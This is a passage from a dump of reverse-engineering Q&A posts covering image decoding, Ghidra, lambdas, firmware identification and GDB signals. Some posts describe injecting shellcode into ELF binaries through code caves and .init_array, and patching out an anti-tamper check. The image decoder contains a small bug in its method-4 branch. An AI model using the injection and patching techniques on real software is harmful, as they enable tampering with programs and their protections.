mentioned:</p>\n<ul>\n<li><code>CPAL254X3STD</code> just has (in this case) 254 RGB triplets appended after that header value.</li>\n<li><code>CPAL254X3ALPHA</code> is the same, but with a 0x100000 byte structure appended that gets referred to as an &quot;alpha map&quot;. I have not bothered to look at it at all.</li>\n</ul>\n<p>Rough python3 example of processing, dumping frames to 0.png, 1.png, etc in subdirectory:</p>\n<pre><code>import errno\nimport os\nimport struct\nimport sys\n\nfrom PIL import Image\n\nclass HugoPalette(object):\n  def __init__(self, rawdat):\n    assert(len(rawdat) &gt;= 12)\n    assert(rawdat[0:4] == b'CPAL') # palette\n    self.alpha_map = None\n    self.entries = None\n    num_entries = int(rawdat[4:7])\n    assert(rawdat[7:9] == b'X3') # rgb triples\n    if rawdat[9:12] == b'STD': # palette\n      assert(len(rawdat) &gt;= 12 + num_entries*3)\n      self.entries = []\n      offset = 12\n      for n in range(num_entries):\n        self.entries.append(struct.unpack_from(&quot;BBB&quot; ,rawdat, offset))\n        offset = offset + 3\n    elif rawdat[9:14] == b'ALPHA': # palette and alphamap\n      assert(len(rawdat) &gt;= 14 + num_entries*3 + 0x100000)\n      self.entries = []\n      offset = 14\n      for n in range(num_entries):\n        self.entries.append(struct.unpack_from(&quot;BBB&quot; ,rawdat, offset))\n        offset = offset + 3\n      self.alphamap = rawdat[14 + num_entries*3:14 + num_entries*3 + 0x100000] # not sure how to interpret\n    else:\n      raise NotImplementedError(&quot;unknown palette type&quot;)\n\n\nclass HugoImage(object):\n  def __init__(self, width, height, rawdat, offset):\n    self.width = width\n    self.height = height\n\n    rows = []\n    for n in range(height):\n      (packed_line_length,) =  struct.unpack_from(&quot;&lt;L&quot;, rawdat, offset)\n      assert(len(rawdat) &gt;= offset + packed_line_length)\n      packed_line = rawdat[offset+4:offset+packed_line_length]\n      line = []\n      index = 0\n      # unpacking:\n      # 00 nn                   = skip nn pixels [nn=00: skip to end of line]\n      # 01 nn pp aa [pp aa ...] = insert nn entries from trailing pp, replacing alpha with aa\n      # 02 nn pp aa             = repeat pp for nn pixels, replacing alpha with aa\n      # 03 nn pp [pp ...]       = insert nn entries from trailing pp\n      # 04 nn pp                = repeat pp for nn pixels\n      while True:\n        method = packed_line[index]\n        pixel_count = packed_line[index+1]\n        index = index + 2\n        if method == 0:\n          if pixel_count == 0:\n            while(len(line) &lt; self.width):\n              line.append((0, 0))\n            break\n          line.extend([(0,0)]*pixel_count)\n        elif method == 1:\n          for p in range(pixel_count):\n            line.append((packed_line[index], packed_line[index+1]))\n            index = index + 2\n        elif method == 2:\n          line.extend([(packed_line[index], packed_line[index+1])]*pixel_count)\n          index = index + 2\n        elif method == 3:\n          for p in range(pixel_count):\n            line.append((packed_line[index],0xff))\n            index = index + 1\n        elif packed_line[index] == 4:\n          line.extend([(packed_line[index], 0xff)]*pixel_count)\n          index = index + 1\n      assert(len(line) == self.width)\n      rows.append(line)\n      offset = offset + 4 + index\n    self.rows = rows\n\ndef load_images(rawdat):\n  HEADER_STRUCT_SIZE=0x1c\n  METADATA_STRUCT_SIZE=0x18\n  offset = 0\n  assert(len(rawdat) &gt;= offset + HEADER_STRUCT_SIZE)\n  (magic, _, count, metadata_size, payload_size, _, _) = struct.unpack_from(&quot;&lt;LLLLLLL&quot;, rawdat, offset)\n  offset = offset + HEADER_STRUCT_SIZE\n  assert(magic == 0x46464743)\n  assert(metadata_size == count * METADATA_STRUCT_SIZE)\n  metadata = []\n  for n in range(count):\n    assert(len(rawdat) &gt;= offset + METADATA_STRUCT_SIZE)\n    metadata.append(struct.unpack_from(&quot;&lt;LLLLLL&quot;, rawdat, offset))\n    offset = offset + METADATA_STRUCT_SIZE\n  images = []\n  for im in metadata:\n    images.append(HugoImage(im[2], im[3], rawdat, offset + im[5]))\n  return images\n\n\ndef main(args):\n  if len(args) != 3:\n    print(f&quot;usage: python3 {args[0]} palette.pal image.cgf&quot;)\n    sys.exit(1)\n  with open(args[1], &quot;rb&quot;) as infile:\n    dat = infile.read()\n  pal = HugoPalette(dat)\n\n  with open(args[2], &quot;rb&quot;) as infile:\n    dat = infile.read()\n  images = load_images(dat)\n\n  output_dir = args[2] + &quot;.extracted&quot;\n  output_index = 0\n\n  try:\n    os.makedirs(output_dir)\n  except OSError as e:\n    if e.errno != errno.EEXIST:\n      raise\n\n  for i in images:\n    img = Image.new('RGBA', (i.width, i.height))\n    for y in range(i.height):\n      for x in range(i.width):\n        (index, alpha) = i.rows[y][x]\n        pal_entry = pal.entries[index]\n        col = (pal_entry[0], pal_entry[1],pal_entry[2], alpha)\n        img.putpixel((x,y), col)\n    img.save(os.path.join(output_dir, str(output_index) + &quot;.png&quot;), &quot;PNG&quot;)\n    output_index = output_index + 1\n\nif __name__ == '__main__':\n  main(sys.argv)\n</code></pre>\n"
    },
    {
        "Id": "26595",
        "CreationDate": "2020-12-20T20:12:14.140",
        "Body": "<p>Why is Shannon Entropy of individual sections always between 0-8. Also why we need to create a 256 freq array while calculating the Shannon Entropy?</p>\n",
        "Title": "Shannon Entropy of Individual PE sections",
        "Tags": "|malware|",
        "Answer": "<p>The channel capacity of a single byte samples has a maximum of 8 bits.</p>\n<p>Another way of thinking about it: If a single byte has the same value for every sample, you need 0 additional bits of information to describe the values.</p>\n<p>If a single byte takes on 256 different values, [0 to 255], then for every sample you will need 8 additional bits of information to uniquely describe the values.</p>\n<p>For example, if you were measuring the Shannon Entropy of a collection of Short values (2 bytes / 16 bits) it would range from 0 (constant) to 16 (completely random).</p>\n"
    },
    {
        "Id": "26602",
        "CreationDate": "2020-12-21T09:09:52.640",
        "Body": "<p>what does this arm instruction means?</p>\n<pre><code>LDRB param_1,[r12,r5]=&gt;local_b0\n</code></pre>\n<p>In particular I don't understand the &quot;=&gt;local_b0&quot; part.</p>\n<p>Ghidra decompiles it to</p>\n<pre><code>local_b0._0_1_ = *(byte *)((int)&amp;local_b0 + iVar1);\n</code></pre>\n<p>but I don't know where the &quot;.<em>0_1</em>&quot; comes from.</p>\n<p>Thanks!</p>\n",
        "Title": "What does the \"=>\" sign means in ARM assembly LDR?",
        "Tags": "|arm|ghidra|",
        "Answer": "<p>Seems like you've already figured this out, but this is a Ghidra markup. It can be enabled/disabled via <code>Edit -&gt; Tool Options -&gt; Listing Fields -&gt; Operands Field -&gt; Always Show Primary Reference</code> Here's what the help says about the option:</p>\n<blockquote>\n<p><strong>Always Show Primary Reference</strong> - Option to force the display of the primary reference on all operands.\u00a0 If a suitable sub-operand replacement can not be identified the primary reference will be appended to the operand preceded by a &quot;=&gt;&quot; prefix.</p>\n</blockquote>\n"
    },
    {
        "Id": "26614",
        "CreationDate": "2020-12-23T10:57:59.270",
        "Body": "<p>I'm working on reversing a C++ application and I've come across a structure that contains a getter function that returns <code>TypeDescriptor*</code>, I've read some articles on RTTI and reversing C++ but can't find a structure that matches what I'm seeing.</p>\n<p>It <em>seems</em> to be a compiler generated structure because of the <code>TypeDescriptor</code> getter? I'm hoping someone can point me in the right direction. There's multiple of these structures, they are in mostly contiguous but not completely as far as I can see.</p>\n<p>Pseudo code for the struct looks like:</p>\n<pre><code>// These are all function pointers\nclass SomeClazz\n{\n    // func1/func2 are pointers to the same function. It looks like a constructor.\n    void* func1(void* param1, void** param2);\n    void* func2(void* param1, void** param2);\n    // This function differs depending on the class. I believe this to be a implementation of a virtual function maybe?\n    virtual void handler();\n    // Returns a pointer to a RTTI TypeDescriptor depending on the class\n    TypeDescriptor* get_type_descriptor();\n    void get_something();\n} \n</code></pre>\n<p>Here's code in the <code>func1/2</code> functions in case there's a hint of what it is:</p>\n<pre><code>\nundefined ** FUN_00125860(longlong param_1,undefined **param_2)\n\n{\n  undefined4 uVar1;\n  undefined4 uVar2;\n  undefined4 uVar3;\n  \n  *param_2 = (undefined *)&amp;Vftable_maybe_00589ef0;\n  uVar1 = *(undefined4 *)(param_1 + 0xc);\n  uVar2 = *(undefined4 *)(param_1 + 0x10);\n  uVar3 = *(undefined4 *)(param_1 + 0x14);\n  *(undefined4 *)(param_2 + 1) = *(undefined4 *)(param_1 + 8);\n  *(undefined4 *)((longlong)param_2 + 0xc) = uVar1;\n  *(undefined4 *)(param_2 + 2) = uVar2;\n  *(undefined4 *)((longlong)param_2 + 0x14) = uVar3;\n  return param_2;\n}\n</code></pre>\n<p>Here's <code>get_type_descriptor</code>:</p>\n<pre><code>TypeDescriptor * class::get_type_descriptor(void)\n\n{\n  return &amp;class_&lt;lambda_88a0d3301c644a20c1df3ad0c52a86e4&gt;_RTTI_Type_Descriptor;\n}\n\n////////////\nLEA RAX, [class_&lt;lambda_88a0d3301c644a20c1df3ad0c52 ...]\nRET\n</code></pre>\n<p>Here's <code>get_something</code>, not sure what the purpose is or what it's doing:</p>\n<pre><code>LEA RAX, [RCX+0x8]\nRET\n</code></pre>\n<p>Any help/suggestions would be great. Thanks.</p>\n",
        "Title": "C++ structure containing a RTTI getter function?",
        "Tags": "|binary-analysis|c++|ghidra|struct|",
        "Answer": "<p>This is a lambda expression. When the lambda expression has captures it is compiled into a implementation defined structure. In my case the lambda has captures, using MSVC the structure was <a href=\"https://github.com/microsoft/STL/blob/1e8b8d4eef4b2dddeb7533c5231c876383bd0ea6/stl/inc/functional#L775-L801\" rel=\"nofollow noreferrer\"><code>_Func_Base</code></a> defined as:</p>\n<pre><code>#pragma warning(push)\n#pragma warning(disable : 4265) // class has virtual functions, but destructor is not virtual (/Wall)\n// CLASS TEMPLATE _Func_base\ntemplate &lt;class _Rx, class... _Types&gt;\nclass __declspec(novtable) _Func_base { // abstract base for implementation types\npublic:\n    virtual _Func_base* _Copy(void*) const                 = 0;\n    virtual _Func_base* _Move(void*) noexcept              = 0;\n    virtual _Rx _Do_call(_Types&amp;&amp;...)                      = 0;\n    virtual const type_info&amp; _Target_type() const noexcept = 0;\n    virtual void _Delete_this(bool) noexcept               = 0;\n\n#if _HAS_STATIC_RTTI\n    const void* _Target(const type_info&amp; _Info) const noexcept {\n        return _Target_type() == _Info ? _Get() : nullptr;\n    }\n#endif // _HAS_STATIC_RTTI\n\n    _Func_base()                  = default;\n    _Func_base(const _Func_base&amp;) = delete;\n    _Func_base&amp; operator=(const _Func_base&amp;) = delete;\n    // dtor non-virtual due to _Delete_this()\n\nprivate:\n    virtual const void* _Get() const noexcept = 0;\n};\n#pragma warning(pop)\n</code></pre>\n"
    },
    {
        "Id": "26617",
        "CreationDate": "2020-12-24T16:27:23.117",
        "Body": "<p>I have a text file and I know that it is a firmware of a device. This file have <a href=\"https://en.wikipedia.org/wiki/Intel_HEX\" rel=\"nofollow noreferrer\">Intel Hex Format</a> as below:</p>\n<pre><code>:03:8000:00:028100FA\n:02:8003:00:XXXXXX\n:02:800B:00:XXXXXX\n:02:8013:00:XXXXXX\n:01:801B:00:XXXX\n:01:8023:00:XXXX\n:10:802B:00:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\n:10:803B:00:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\n:10:804B:00:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\n:10:805B:00:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\n</code></pre>\n<p>How can I find out what type of processor (Intel/ARM/PIC/...) this file belongs to? And how can I disassemble it?</p>\n<p>Frequency of bytes:</p>\n<pre><code>ebra@him:~$ cat single-byte-per-line | sort | uniq -c | sort -n\n      1 \n      3 59\n      5 4C\n      6 49\n      6 57\n      6 5D\n      8 47\n      8 48\n      8 4A\n      8 4E\n      8 52\n     10 C6\n     11 7E\n     11 8F\n     11 9B\n     12 51\n     12 8E\n     12 95\n     12 9C\n     12 9D\n     12 B7\n     12 CE\n     13 CF\n     14 27\n     14 55\n     14 56\n     14 58\n     14 5C\n     14 7F\n     15 73\n     15 8D\n     15 9E\n     15 C7\n     15 D6\n     16 5F\n     16 D7\n     17 1B\n     17 A5\n     17 C8\n     17 CB\n     18 AF\n     18 B1\n     19 46\n     19 5A\n     19 8B\n     19 C1\n     20 D9\n     20 ED\n     21 72\n     21 94\n     21 A6\n     22 43\n     22 4F\n     22 71\n     22 AC\n     22 B9\n     22 C9\n     23 9F\n     23 A3\n     23 BE\n     24 42\n     24 AD\n     24 BD\n     24 BF\n     24 E9\n     25 4D\n     25 CC\n     26 87\n     26 A1\n     26 B8\n     26 E8\n     27 69\n     27 6F\n     27 88\n     28 F1\n     29 53\n     29 5E\n     29 61\n     29 77\n     29 BC\n     30 45\n     30 AB\n     31 1A\n     32 86\n     33 1E\n     33 4B\n     34 1C\n     35 1F\n     35 67\n     36 BB\n     36 EA\n     37 98\n     37 99\n     37 DD\n     37 F4\n     37 FD\n     38 2C\n     38 B2\n     40 3B\n     40 EE\n     41 25\n     41 97\n     41 E7\n     42 2D\n     42 D4\n     42 EF\n     43 1D\n     43 8C\n     44 5B\n     44 96\n     44 DC\n     46 28\n     46 3A\n     46 D5\n     46 DF\n     46 F7\n     46 FE\n     47 76\n     47 7D\n     48 C5\n     48 FC\n     49 D8\n     50 35\n     53 0E\n     53 B5\n     57 BA\n     57 E6\n     58 A7\n     58 C4\n     58 CA\n     59 19\n     59 21\n     59 AA\n     62 3D\n     62 A8\n     63 93\n     63 A9\n     65 34\n     65 8A\n     65 B0\n     65 F6\n     67 AE\n     67 D1\n     68 31\n     69 EC\n     70 26\n     70 41\n     71 14\n     71 81\n     72 23\n     72 3E\n     72 65\n     72 B6\n     74 F8\n     75 44\n     75 6B\n     76 64\n     76 7C\n     76 92\n     77 FF\n     78 37\n     78 91\n     78 B3\n     79 2F\n     80 A0\n     82 38\n     84 A2\n     85 DA\n     87 0D\n     90 24\n     91 6D\n     91 A4\n     93 18\n     95 62\n     95 CD\n     96 0B\n     96 3C\n     99 68\n     99 E4\n    101 6C\n    103 50\n    106 63\n    109 39\n    109 3F\n    109 DE\n    111 6E\n    112 6A\n    115 E1\n    116 36\n    117 70\n    117 89\n    118 D3\n    128 17\n    131 FB\n    134 D0\n    137 54\n    146 FA\n    149 0C\n    151 0A\n    154 F9\n    164 60\n    173 C3\n    174 2A\n    183 DB\n    184 C0\n    185 29\n    185 E3\n    189 16\n    191 83\n    200 2E\n    203 9A\n    204 66\n    207 F3\n    212 15\n    212 20\n    220 0F\n    221 7B\n    226 7A\n    240 33\n    241 E2\n    242 F5\n    244 EB\n    247 30\n    247 32\n    255 2B\n    256 06\n    261 10\n    275 13\n    284 07\n    286 40\n    288 E0\n    309 84\n    311 85\n    313 03\n    321 04\n    325 22\n    326 C2\n    327 F2\n    333 01\n    333 79\n    344 82\n    353 90\n    357 11\n    362 F0\n    376 80\n    414 05\n    422 78\n    436 09\n    467 74\n    489 D2\n    570 08\n    656 E5\n    889 B4\n   1301 12\n   1369 02\n   1717 00\n   2081 75\n</code></pre>\n<p>And if I extract all 2-byte sequences which starts with <code>75</code>, I have:</p>\n<pre><code>ebra@him:~$ cat sequence-starts-with-75 | grep -o .... | sort | uniq -c | sort -n\n      1 7505\n      1 750D\n      1 750E\n      1 7514\n      1 7519\n      1 751F\n      1 7521\n      1 7522\n      1 7526\n      1 7527\n      1 752D\n      1 7530\n      1 7545\n      1 7547\n      1 7548\n      1 754D\n      1 754F\n      1 7557\n      1 755F\n      1 7560\n      1 756F\n      1 7570\n      1 7571\n      1 7572\n      1 7573\n      1 7581\n      1 7587\n      1 758B\n      1 7594\n      1 75A8\n      1 75B8\n      1 75C8\n      1 75CA\n      1 75CB\n      1 75CC\n      1 75CD\n      1 75E5\n      1 75F2\n      2 7501\n      2 7510\n      2 751D\n      2 7525\n      2 7534\n      2 7536\n      2 753C\n      2 753D\n      2 7566\n      2 758D\n      2 7598\n      2 7599\n      2 75B4\n      2 75D0\n      2 75D4\n      3 7523\n      3 752F\n      3 757A\n      3 758C\n      4 752E\n      4 753A\n      6 7535\n      6 7537\n      6 753B\n      6 753F\n      6 7567\n      6 7569\n      7 7500\n      7 7540\n      7 757B\n      7 758A\n      8 757C\n      8 75A0\n     10 7524\n     11 7563\n     11 7574\n     11 7576\n     11 7577\n     11 7579\n     12 7518\n     13 7575\n     14 752C\n     16 7565\n     16 7578\n     17 7517\n     17 75F0\n     18 7528\n     18 7564\n     19 7539\n     19 753E\n     27 7562\n     37 7515\n     37 7583\n     38 7516\n     45 7533\n     49 756A\n     49 756B\n     50 756C\n     52 756E\n     53 756D\n     58 7532\n     68 7512\n     73 7568\n    141 752B\n    143 7529\n    144 752A\n    169 7582\n    204 7513\n    248 7511\n</code></pre>\n<p>For 3-bytes sequences which starts with 75:</p>\n<pre><code>    ebra@him:~$ cat sequence-starts-with-75 | grep -o ...... | sort | uniq -c | sort -n\n  .. [Truncated] ...\n  6 750075\n  6 752B03\n  6 752B08\n  6 753269\n  6 753F00\n  6 756BA4\n  6 757500\n  6 757800\n  6 758204\n  6 758205\n  6 75820B\n  6 75F000\n  7 75120A\n  7 752801\n  7 752B05\n  7 756E08\n  8 751101\n  8 752910\n  8 756BC0\n  8 756D0C\n  8 757400\n  8 75A000\n  9 751104\n  9 752803\n  9 758200\n  9 758203\n 10 752901\n 10 752C80\n 10 756BB2\n 11 751864\n 11 753200\n 11 756ABC\n 11 758208\n 12 753290\n 13 751210\n 14 752B01\n 14 752B10\n 14 753910\n 14 756C01\n 14 75820F\n 15 752B06\n 16 753E00\n 16 756BB0\n 17 7517FF\n 17 75326A\n 17 753300\n 18 752906\n 19 756811\n 19 756E00\n 19 758209\n 20 758201\n 21 752904\n 21 752B04\n 22 756D00\n 23 756C00\n 24 75820A\n 30 756A00\n 34 758202\n 35 752902\n 36 758301\n 37 752905\n 46 752B02\n 46 756810\n 65 751103\n 77 751102\n 79 751100\n142 752A00\n</code></pre>\n",
        "Title": "How can I find out what type of processor an Intel Hex file belongs to?",
        "Tags": "|disassembly|arm|intel|pic|unknown-data|",
        "Answer": "<p>This sounds analogous to given a document, infer the language.</p>\n<p>I'd compare the frequency (count for each value in the file) of instructions with the frequency of instructions derived from files for known processor types.</p>\n<p>Effectively a <a href=\"https://en.wikipedia.org/wiki/Language_model\" rel=\"nofollow noreferrer\">unigram model</a>.  If you source the files in a common format I can give you a hand.</p>\n"
    },
    {
        "Id": "26631",
        "CreationDate": "2020-12-27T10:58:52.793",
        "Body": "<p>I am working on ELF-injector, which given some payload (currently it's an assembly file with .text section only) will inject it into ELF binary. I had related <a href=\"https://reverseengineering.stackexchange.com/questions/26386/elf-binary-injection\">post</a> here.</p>\n<p>Now I would like to make it more usable and allow the payload call library functions linked by the victim (at least libc functions).</p>\n<p><em>Note:</em> I am changing first instructions of the entry point to execute my code first. Does it mean I cannot yet use dynamically linked functions?</p>\n",
        "Title": "Call libc functions from the payload statically injected into ELF binary",
        "Tags": "|linux|c|elf|dll-injection|injection|",
        "Answer": "<p>For any external functions used (e.g. libc functions), there will exist a stub in the binary's PLT for said function. When the program calls the function, it jumps to the PLT stub, which correctly handles finding the address of the function the first time it is called.</p>\n<p>For your purposes, you can read the PLT addresses or offsets from the binary, and use that for calling the library function. You could even use offsets to calculate addresses of and call functions that are not imported into the PLT.</p>\n<p>Even if you are injecting at the entry point of the program before any boilerplate initialization code, the program is still only run after the runtime dynamic linker/interpreter (ld.so) has set up the dynamically linked libraries, so I think you should be fine.</p>\n"
    },
    {
        "Id": "26641",
        "CreationDate": "2020-12-28T02:14:42.197",
        "Body": "<p>I've decompiled a custom router ELF binary using Hex-Rays and have recently come across the following function in the binary:</p>\n<pre><code>pkt_hdr_t *__cdecl pkt_hdr_from_frame(frame_t *frame, uint16_t *remaining)\n{\n  uint16_t *remaininga; // [xsp+10h] [xbp+10h]\n  frame_t *framea; // [xsp+18h] [xbp+18h]\n  uint16_t frame_sz; // [xsp+26h] [xbp+26h]\n\n  framea = frame;\n  remaininga = remaining;\n  if ( !frame || !remaining )\n    return 0LL;\n  frame_sz = ntohs(frame-&gt;sz.inner);\n  if ( frame_sz &lt;= 1u )\n    return 0LL;\n  *remaininga = frame_sz - 2;\n  return (pkt_hdr_t *)&amp;framea[1];\n}\n</code></pre>\n<p>While it's a pretty short piece of code, I'll appreciate it if the role of <code>remaining</code> and the <code>return</code> line can be figured out. I know that a frame is created from a packet by appending the length of a packet to the beginning of it and the length field is 2 bytes long itself. This seems related to <code>remaining</code> which is a pointer to a 16 bit (2 byte) unsigned integer. According to the line before <code>return</code> it seems to me that initially the value pointed to by <code>remaining</code> is the length of the frame, i.e., length of packet + 2 bytes of length field but the function <code>pkt_hdr_from_frame</code> removes those 2 bytes and returns a pointer to the field in the frame located after the packet-length field (which is the beginning of the packet itself). Nevertheless, I'm confused with <code>framea[1]</code> as I don't understand the indexing here, especially considering the fact that the <code>frame_t</code> type is unknown to me. Thank you for your help!</p>\n<p><strong>EDIT 1:</strong> IDA Pro Local Types tab gives (Ordinal, Name, Size, Sync, Description) as</p>\n<pre><code>31  frame_t 00000002        struct {uint16_n sz;uint8_t data[];}\n63  _pkt_hdr_t  00000002        struct {pkt_flags_t flags;msg_type_t msgtype;}\n64  pkt_hdr_t   00000002        typedef _pkt_hdr_t\n</code></pre>\n",
        "Title": "What does this custom piece of frame manipulation code from a router binary do?",
        "Tags": "|ida|elf|hexrays|pointer|",
        "Answer": "<p>ntohs basically converts a netshort to hostshort</p>\n<pre><code>&gt;&gt;&gt; import socket\n&gt;&gt;&gt; print (hex(socket.ntohs(0x1337)))\n0x3713\n&gt;&gt;&gt; print (hex(socket.ntohs(0x3713)))\n0x1337\n&gt;&gt;&gt;\n</code></pre>\n<p>it will write back\n0x3713-0x2 = 0x3711  or  0x1337 - 0x2 = 0x1335<br />\nin the address pointed by remaining if it is &gt; 1u</p>\n<p>and return back an address a pointer to pkt_hdr_t</p>\n<p>comment edit</p>\n<p>no remaining is an incoming pointer<br />\nit is a writable address<br />\nthis function writes back whatever is remaining from the result of ntohs() call - 2 to this pointer<br />\nit is like *blah = foo where foo is an unsigned short and blah is a pointer to unsigned short</p>\n<p>so it may be called like unsigned short * xyz = 0;\npkt_whatever(abc,xyz) {\nxyz = some unsigned short whose value is 123xxyy\n}</p>\n<p>so on incoming xyz will be holding 0 when it goes out of the function xyz will be holding  123xxyy</p>\n"
    },
    {
        "Id": "26642",
        "CreationDate": "2020-12-28T10:11:38.677",
        "Body": "<p>I am using retdec to decompile a piece of software. It has a &quot;kill switch&quot; to detect if it's being run in an untrusted environment, in the decompiled code it just a simple</p>\n<pre><code>if (env_untrusted() == 1)\n   abort()\n</code></pre>\n<p>so i'd like to remove that statement, thing is, the decompiled C code has <em>many</em> compilation errors. Is it possible to see what assembly corresponds to that function, and then change that assemlby to &quot;return 0&quot;?</p>\n<p>also, using objdump i can generate assembly, but not in a usable format, is there a way how i can make it print in a usable format so that i can compile that assembly?</p>\n<p>so in summary:\ni have decompiled an executable file using retdec into a C file. in that C file i found a function that i'd like to edit, but i cant compile the C file, so i need to find that function in the assembly, how can i do that?</p>\n<p>and as a by producct: how can i make objdump only print out assembly</p>\n",
        "Title": "Link decompiled C code to Assembly (retdec decompiled object into C code, but with many errors, i found the kill switch which i need to edit)",
        "Tags": "|disassembly|assembly|c|objdump|",
        "Answer": "<p>Assuming, that executable is not packed, and if you got to the killswitch already, just select some asm commands and look for them in debugger. then you can change necessary bytes with NOP.  No recompilation would be necessary at all.</p>\n<p>Recompilation, even if successful, will make executable not exactly the same as original code.</p>\n"
    },
    {
        "Id": "26650",
        "CreationDate": "2020-12-29T00:50:36.453",
        "Body": "<p>I have a program that I am trying to reverse, which contains an <strong>int3 (0xCC)</strong> which emits a <strong>SIGTRAP</strong> signal, which is then handled by a <strong>sighandler</strong> defined in sigaction.<br />\nThe handler performs calculations on certain values.</p>\n<p>When I'm debugging with GDB, the SIGTRAP is raised, and the handler does not receive the signal because it is GDB which intercepts it.\nI need the signal to be caught in order to see what the handler is dynamically returning as a value.</p>\n<p>I tried to disable SIGTRAP interception with the command :</p>\n<pre><code>handle SIGTRAP nostop noprint noignore  \n</code></pre>\n<p>but I have the following error:</p>\n<pre><code>Program terminated with signal SIGTRAP, Trace / breakpoint trap.\nThe program no longer exists.\n</code></pre>\n<p>My goal is to make sure that I can let the SIGTRAP be intercepted by the sighandler and not by GDB, but still be able to launch the program and place breakpoints.</p>\n",
        "Title": "How to let SIGTRAP get caught by sighandler in GDB?",
        "Tags": "|debugging|gdb|breakpoint|",
        "Answer": "<p>I managed to find a solution.<br />\nWhen the <strong>SIGTRAP</strong> emitted by the program causes a breakpoint in <strong>gdb</strong>, I use the command :</p>\n<pre><code>signal SIGTRAP\n</code></pre>\n<p>to send the signal to the program (and then to the handler), the program continues as expected.<br />\nDon't need to use the &quot;handle&quot; command shown in the question, because it seems to make gdb malfunction.</p>\n"
    },
    {
        "Id": "26660",
        "CreationDate": "2020-12-29T19:16:44.803",
        "Body": "<p>I am currently working on an ELF-injector and my approach is standard: find code cave (long enough sequence of 0's), rewrite it with the instructions I want to execute and then jump back to the start of the original program to execute it as it normally would.\n<a href=\"https://i.stack.imgur.com/V6xii.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/V6xii.png\" alt=\"ida\" /></a></p>\n<p><a href=\"https://i.stack.imgur.com/yvhAf.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/yvhAf.png\" alt=\"enter image description here\" /></a></p>\n<p><a href=\"https://i.stack.imgur.com/j530d.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/j530d.png\" alt=\"enter image description here\" /></a></p>\n<pre><code>*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***\nBuild fingerprint: 'Meizu/MeizuE3_CN/MeizuE3:7.1.1/NGI77B/1578882816:user/release-keys'\nRevision: '0'\nABI: 'arm'\npid: 14576, tid: 14576, name: load_lib.so  &gt;&gt;&gt; ./load_lib.so &lt;&lt;&lt;\nsignal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x14608\n    r0 000775bd  r1 00000002  r2 00014608  r3 0000000a\n    r4 f2d62279  r5 f28bfcc0  r6 f2d04a90  r7 0000000a\n    r8 f2d62279  r9 f2d725f0  sl f2d62268  fp ffc08818\n    ip 00000000  sp ffc08818  lr f28bfce0  pc 00014608  cpsr 800e0010\n    d0  0000000000000000  d1  0000000000000000\n    d2  0000000000000000  d3  0000000000000000\n    d4  0000000000000000  d5  0000000000000000\n    d6  0000000000000000  d7  0000000000000000\n    d8  0000000000000000  d9  0000000000000000\n    d10 0000000000000000  d11 0000000000000000\n    d12 0000000000000000  d13 0000000000000000\n    d14 0000000000000000  d15 0000000000000000\n    d16 0000001ff2c72000  d17 0000000000000000\n    d18 0000000000002a98  d19 0000000000001080\n    d20 0000000000000000  d21 0000000000000000\n    d22 0000000000000000  d23 0000000000000000\n    d24 0000000000000000  d25 0000000000000000\n    d26 0000000000000000  d27 0000000000000000\n    d28 0000000000000000  d29 0000000000000000\n    d30 0000000000000000  d31 0000000000000000\n    scr 80000000\n\nbacktrace:\n    #00 pc 00014608  &lt;unknown&gt;\n    #01 pc 00074cdc  /data/local/tmp/libc.so\n\nstack:\n         ffc087d8  f2d01370  [anon:linker_alloc]\n         ffc087dc  f2cff040  [anon:linker_alloc]\n         ffc087e0  00000000\n         ffc087e4  00000002\n         ffc087e8  f2c77010\n         ffc087ec  00000001\n         ffc087f0  3f800000\n         ffc087f4  00000000\n         ffc087f8  f2d03d40  [anon:linker_alloc_small_objects]\n         ffc087fc  f2d03d40  [anon:linker_alloc_small_objects]\n         ffc08800  f2d03d48  [anon:linker_alloc_small_objects]\n         ffc08804  ffc08878  [stack]\n         ffc08808  f2d04010  [anon:linker_alloc]\n         ffc0880c  f2d72010\n         ffc08810  f2d03d20  [anon:linker_alloc_small_objects]\n         ffc08814  f2d03d20  [anon:linker_alloc_small_objects]\n    #00  ffc08818  f2d04a90  [anon:linker_alloc]\n         ........  ........\n    #01  ffc08818  f2d04a90  [anon:linker_alloc]\n         ffc0881c  f2d127e3  /system/bin/linker (__dl__ZN6soinfo13call_functionEPKcPFvvE+86)\n         ffc08820  00000000\n         ffc08824  f2d01220  [anon:linker_alloc]\n         ffc08828  00000001\n         ffc0882c  00000001\n         ffc08830  f28d0de0  /data/local/tmp/libc.so\n         ffc08834  f2d12703  /system/bin/linker (__dl__ZN6soinfo10call_arrayEPKcPPFvvEjb+190)\n         ffc08838  00000000\n         ffc0883c  00000000\n         ffc08840  00000000\n         ffc08844  f2d721d0\n         ffc08848  f2d62345  /system/bin/linker\n         ffc0884c  f2d04a90  [anon:linker_alloc]\n         ffc08850  00000000\n         ffc08854  f2d721d0\n</code></pre>\n<pre><code>//my shellcode\ne92d4800    push    {fp, lr}\ne1a0b00d    mov fp, sp\ne3042608    movw    r2, #17928  ; 0x4608\ne3402001    movt    r2, #1\ne30705bd    movw    r0, #30141  ; 0x75bd\ne3400007    movt    r0, #7\ne3a01002    mov r1, #2\ne12fff32    blx r2\ne3060e45    movw    r0, #28229  ; 0x6e45\ne3400001    movt    r0, #1\ne12fff30    blx r0\ne8bd8800    pop {fp, pc}\n</code></pre>\n<pre><code>.init_array:00085DE0 ; ELF Initialization Function Table\n.init_array:00085DE0 ; ===========================================================================\n.init_array:00085DE0\n.init_array:00085DE0 ; Segment type: Pure data\n.init_array:00085DE0                 AREA .init_array, DATA\n.init_array:00085DE0                 ; ORG 0x85DE0\n.init_array:00085DE0 off_85DE0       DCD __start_ae          ; DATA XREF: LOAD:off_9C\u2191o\n.init_array:00085DE0                                         ; LOAD:off_15C\u2191o\n.init_array:00085DE4                 DCD sub_74CC0 ;&lt;---my shellcode--------- \n.init_array:00085DE8                 DCD _GLOBAL__sub_I_libgen.cpp+1\n.init_array:00085DEC                 DCD _GLOBAL__sub_I_mntent.cpp+1\n.init_array:00085DF0                 DCD 